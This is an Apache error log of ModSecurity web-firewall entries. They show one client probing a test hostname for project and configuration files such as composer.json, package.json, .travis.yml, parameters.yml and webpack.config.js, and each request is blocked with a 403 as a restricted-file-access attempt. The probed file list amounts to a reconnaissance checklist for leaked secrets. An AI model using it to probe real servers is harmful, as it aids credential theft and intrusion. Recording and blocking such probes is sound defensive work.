[Sat May 31 23:24:22.211447 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aDtzhk_7v63ITAiL1uihkwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/composer.json
[Sat May 31 23:24:22.211633 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aDtzhk_7v63ITAiL1uihkwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/composer.json
[Sat May 31 23:24:22.644042 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/package.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package.json found within REQUEST_FILENAME: /package.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aDtzhk_7v63ITAiL1uihlAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/package.json
[Sat May 31 23:24:22.644331 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aDtzhk_7v63ITAiL1uihlAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/package.json
[Sat May 31 23:24:22.644540 2025] [:error] [pid 3535553] [client 165.1.71.166:36230] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aDtzhk_7v63ITAiL1uihlAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/package.json
[Sat May 31 23:24:23.477930 2025] [:error] [pid 3545952] [client 165.1.71.166:59254] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/package.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package.json found within REQUEST_FILENAME: /package.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aDtzh15-AmCHt6p1SURrkwAAAAc&quot;], referer: http://pms.test.indacotrentino.com/package.json
[Sat May 31 23:24:23.478211 2025] [:error] [pid 3545952] [client 165.1.71.166:59254] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aDtzh15-AmCHt6p1SURrkwAAAAc&quot;], referer: http://pms.test.indacotrentino.com/package.json
[Sat May 31 23:24:23.478409 2025] [:error] [pid 3545952] [client 165.1.71.166:59254] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aDtzh15-AmCHt6p1SURrkwAAAAc&quot;], referer: http://pms.test.indacotrentino.com/package.json
[Sat May 31 23:24:23.909565 2025] [:error] [pid 3545952] [client 165.1.71.166:59254] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;.travis.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .travis.yml found within REQUEST_FILENAME: /.travis.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aDtzh15-AmCHt6p1SURrlAAAAAc&quot;], referer: http://pms.test.indacotrentino.com/.travis.yml
[Sat May 31 23:24:23.909836 2025] [:error] [pid 3545952] [client 165.1.71.166:59254] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aDtzh15-AmCHt6p1SURrlAAAAAc&quot;], referer: http://pms.test.indacotrentino.com/.travis.yml
[Sat May 31 23:24:23.910039 2025] [:error] [pid 3545952] [client 165.1.71.166:59254] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aDtzh15-AmCHt6p1SURrlAAAAAc&quot;], referer: http://pms.test.indacotrentino.com/.travis.yml
[Sat May 31 23:24:24.240949 2025] [:error] [pid 3545952] [client 165.1.71.166:59254] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;.travis.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .travis.yml found within REQUEST_FILENAME: /.travis.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aDtziF5-AmCHt6p1SURrlQAAAAc&quot;], referer: http://pms.test.indacotrentino.com/.travis.yml
[Sat May 31 23:24:24.241214 2025] [:error] [pid 3545952] [client 165.1.71.166:59254] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aDtziF5-AmCHt6p1SURrlQAAAAc&quot;], referer: http://pms.test.indacotrentino.com/.travis.yml
[Sat May 31 23:24:24.241393 2025] [:error] [pid 3545952] [client 165.1.71.166:59254] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aDtziF5-AmCHt6p1SURrlQAAAAc&quot;], referer: http://pms.test.indacotrentino.com/.travis.yml
[Sat May 31 23:24:25.437578 2025] [:error] [pid 3545952] [client 165.1.71.166:59254] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aDtziV5-AmCHt6p1SURrmAAAAAc&quot;], referer: http://pms.test.indacotrentino.com/app/config/parameters.yml
[Sat May 31 23:24:25.437856 2025] [:error] [pid 3545952] [client 165.1.71.166:59254] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aDtziV5-AmCHt6p1SURrmAAAAAc&quot;], referer: http://pms.test.indacotrentino.com/app/config/parameters.yml
[Sat May 31 23:24:25.438027 2025] [:error] [pid 3545952] [client 165.1.71.166:59254] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aDtziV5-AmCHt6p1SURrmAAAAAc&quot;], referer: http://pms.test.indacotrentino.com/app/config/parameters.yml
[Sat May 31 23:24:25.768569 2025] [:error] [pid 3545952] [client 165.1.71.166:59254] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aDtziV5-AmCHt6p1SURrmQAAAAc&quot;], referer: http://pms.test.indacotrentino.com/app/config/parameters.yml
[Sat May 31 23:24:25.768844 2025] [:error] [pid 3545952] [client 165.1.71.166:59254] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aDtziV5-AmCHt6p1SURrmQAAAAc&quot;], referer: http://pms.test.indacotrentino.com/app/config/parameters.yml
[Sat May 31 23:24:25.769048 2025] [:error] [pid 3545952] [client 165.1.71.166:59254] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aDtziV5-AmCHt6p1SURrmQAAAAc&quot;], referer: http://pms.test.indacotrentino.com/app/config/parameters.yml
[Sat May 31 23:24:26.201103 2025] [:error] [pid 3545952] [client 165.1.71.166:59254] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aDtzil5-AmCHt6p1SURrmgAAAAc&quot;], referer: http://pms.test.indacotrentino.com/config/parameters.yml
[Sat May 31 23:24:26.201417 2025] [:error] [pid 3545952] [client 165.1.71.166:59254] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aDtzil5-AmCHt6p1SURrmgAAAAc&quot;], referer: http://pms.test.indacotrentino.com/config/parameters.yml
[Sat May 31 23:24:26.201618 2025] [:error] [pid 3545952] [client 165.1.71.166:59254] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aDtzil5-AmCHt6p1SURrmgAAAAc&quot;], referer: http://pms.test.indacotrentino.com/config/parameters.yml
[Sat May 31 23:24:26.534126 2025] [:error] [pid 3545952] [client 165.1.71.166:59254] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aDtzil5-AmCHt6p1SURrmwAAAAc&quot;], referer: http://pms.test.indacotrentino.com/config/parameters.yml
[Sat May 31 23:24:26.534435 2025] [:error] [pid 3545952] [client 165.1.71.166:59254] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aDtzil5-AmCHt6p1SURrmwAAAAc&quot;], referer: http://pms.test.indacotrentino.com/config/parameters.yml
[Sat May 31 23:24:26.534956 2025] [:error] [pid 3545952] [client 165.1.71.166:59254] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aDtzil5-AmCHt6p1SURrmwAAAAc&quot;], referer: http://pms.test.indacotrentino.com/config/parameters.yml
[Sat May 31 23:25:10.531192 2025] [:error] [pid 3536285] [client 165.1.71.166:41490] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/webpack.config.js&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /webpack.config.js found within REQUEST_FILENAME: /webpack.config.js&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webpack.config.js&quot;] [unique_id &quot;aDtztoEq4lJoMFaf2sMJ3QAAAAg&quot;], referer: http://pms.test.indacotrentino.com/webpack.config.js
[Sat May 31 23:25:10.531475 2025] [:error] [pid 3536285] [client 165.1.71.166:41490] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webpack.config.js&quot;] [unique_id &quot;aDtztoEq4lJoMFaf2sMJ3QAAAAg&quot;], referer: http://pms.test.indacotrentino.com/webpack.config.js
[Sat May 31 23:25:10.531657 2025] [:error] [pid 3536285] [client 165.1.71.166:41490] [client 165.1.71.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webpack.config.js&quot;] [unique_id &quot;aDtztoEq4lJoMFaf2sMJ3QAAAAg&quot;], referer: http://pms.test.indacotrentino.com/webpack.config.js
[Sat May 31 23:25:10.859130 2025] [:error] [pid 3536285] [client 165.1.71.166:41490] [client 165.1.71.166] ModSecurity: Warning. Matched phrase &quot;/webpack.config.js&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /webpack.config.js found within REQUEST_FILENAME: /webpack.config.js&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webpack.config.js&quot;] [unique_id &quot;aDtztoEq4lJoMFaf2sMJ3gAAAAg&quot;], referer: http://pms.test.indacotrentino.com/webpack.config.js
[Sat May 31 23:25:10.859424 2025] [:error] [pid 3536285] [client 165.1.71.166:41490] [client 165.1.71.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webpack.config.js&quot;] [unique_id &quot;aDtztoEq4lJoMFaf2sMJ3gAAAAg&quot;], referer: http://pms.test.indacotrentino.com/webpack.config.js
